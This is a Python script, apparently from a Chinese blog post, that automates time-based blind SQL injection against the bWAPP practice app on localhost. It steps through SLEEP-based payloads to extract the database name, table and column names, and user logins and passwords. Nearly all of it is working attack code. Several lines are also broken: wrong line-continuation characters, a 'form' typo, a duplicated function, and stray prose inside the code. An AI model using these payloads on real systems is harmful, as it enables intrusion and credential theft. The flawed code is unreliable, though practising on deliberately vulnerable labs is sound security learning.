import requests
import time
import yaml
HEADER={
"cookie":"PHPSESSID=mgmbi0f5munhthiqfrvbmg73v1; security_level=0"
}
BASE_URL='http://localhost/bWAPP/app/sqli_15.php'
config_path = "E:/Django/hhPro/yamls/sqlBlindInjection.yaml"
# 读取test.yaml文件
with open(config_path, "r") as file:
data = yaml.load(file.read())
student1 = data["BLINDSQL"]["SQL1"]
#print(student1)
def get_database_name_length(a,b)->int:
count=0
#title=Iron Man' AND LENGTH(DATABASE())={} AND SLEEP(3) -- &action=search
if a[-1]!="?":
a=a+"?"
for i in range(1,100):
url=a+b.format(i)
start_time = time.time()
print(url)
requests.get(url,headers=HEADER)
if time.time() - start_time > 2:
print("盲注数据库名长度为{}".format(i))
count = i
return count
return count
#获得盲注的数据库长度
def get_database_name()->int:
count=0
#title=Iron Man' AND LENGTH(DATABASE())={} AND SLEEP(3) -- &action=search
for i in range(1,100):
url=BASE_URL+"?title=Iron Man' AND LENGTH(DATABASE())={} AND SLEEP(2) -- &action=search".format(i)
start_time = time.time()
requests.get(url,headers=HEADER)
if time.time() - start_time > 2:
print("盲注数据库名长度为{}".format(i))
count = i
return count
return count
#获得盲注的数据库名称
def get_database_table(count):
#mmp=get_database_name()
x=""
for i in range(1,count+1):
for m in range(33,127):
url=BASE_URL+"?title=Iron Man' AND ord(mid(DATABASE(),{},1))={} and SLEEP(2) -- &action=search".format(i,m)
start_time = time.time()
requests.get(url, headers=HEADER)
if time.time() - start_time > 2:
x=x+chr(m)
print("盲注数据库名长度为{}".chr(m))
break
print("打印数据库名称"+x)
#获得数据库此库下面表数量
def get_table_count()->int:
for i in range(1,100):
url=BASE_URL+"?title=Iron Man' and "+student1+"={}".format(i)+" -- &action=search"
start_time=time.time()
requests.get(url,headers=HEADER)
if time.time()-start_time>2:
count =i
print("打印当前数据库下面表数量{}"+str(count))
break
return count
#获得每个数据库表名的长度
def get_table_counts(counts)->int:
for i in range(counts + 1):
for m in range(1,100):
url=BASE_URL+"?title=Iron Man' and (select length(table_name) from information_schema.tables where table_schema=database() limit {},1)={}" /
" and sleep(2) -- &action=search".format(i,m)
start_time=time.time()
requests.get(url,headers=HEADER)
if time.time()-start_time>2:
print("打印当前表名长度{}".format(m))
get_database_tabless(i, m)
break
return m
#获得所有数据库的表名
def get_database_tabless(index,count):
x=""
for i in range(1,count+1):
for m in range(33,127):
url=BASE_URL+"?title=Iron Man' AND " /
"ascii(substr((select table_name from information_schema.tables " /
"where table_schema=database() limit {},1),{},1))={}" /
" and sleep(2) -- &action=search".format(index,i,m)
#上面的意思是select括号里面,获得表的长度(第一个表),substr('str',1,1)然后来判断第一个表的字符是什么
start_time = time.time()
requests.get(url, headers=HEADER)
if time.time() - start_time > 2:
x=x+chr(m)
break
print("打印数据库名称{}" + x)
x=""
return x
#根据打印结果,想需要users表里面的列总数
def get_table_count()->int:
count=0
#select count(column_name) from information_schema.columns where table_name='users' 统计users表中有多少个字段
for i in range(1,100):
url=BASE_URL+"?title=Iron Man' AND (select count(column_name) from information_schema.columns where table_name='users')={} " /
"AND SLEEP(2) -- &action=search".format(i)
start_time = time.time()
requests.get(url,headers=HEADER)
if time.time() - start_time > 2:
print("盲注数据库中users表列数量为:{}".format(i))
count = i
return count
return count
#获得users表中列名的长度
def get_table_nameNumber(count):
for i in range(count+1):
for j in range(100):
url=BASE_URL+"?title=Iron Man' AND (select length(column_name) from information_schema.columns where table_name='users' limit {},1)={} " /
"AND SLEEP(2) -- &action=search".format(i,j)
start_time = time.time()
requests.get(url, headers=HEADER)
if time.time() - start_time > 2:
get_column_name_of(i,j)
print("user表,字段长度为{}".format(j))
break
#获取每个字段的名称
def get_column_name_of(index,count):
for i in range(count+1):
for j in range(33,127):
url=BASE_URL+"?title=Iron Man' AND " /
"ascii(substr(select column_name form information_schema.columns where table_name='user'),{},1)={} " /
"AND SLEEP(2) -- &action=search".format(index,i,j)
start_time = time.time()
requests.get(url, headers=HEADER)
if time.time() - start_time > 2:
print(chr(j))
break
#获得所需字段的用户名跟密码
def get_username_password():
values=""
for i in range(100):
for j in range(33,127):
url=BASE_URL+"?title=Iron Man' AND ascii(substr((select concat(login,',',password) from users limit 0,1),{},1))={} " /
"AND SLEEP(2) -- &action=search".format(i,j)
start_time = time.time()
requests.get(url, headers=HEADER)
if time.time() - start_time > 2:
values=values+chr(j)
break
print(values)
values=""
备注:盲注的时候一般使用and
if __name__=='__main__':
#get_table_counts(get_table_count())
#get_database_table(get_database_name())
#get_table_counts(get_table_count())
#get_table_count()
#get_table_count()#打印users表中总列数量
get_username_password()#打印需要的日志
userAgent:浏览器访问要求,可以绕过最简单的内容,单引号判断sql注入
原创文章,作者:,如若转载,请注明出处:https://blog.ytso.com/273681.html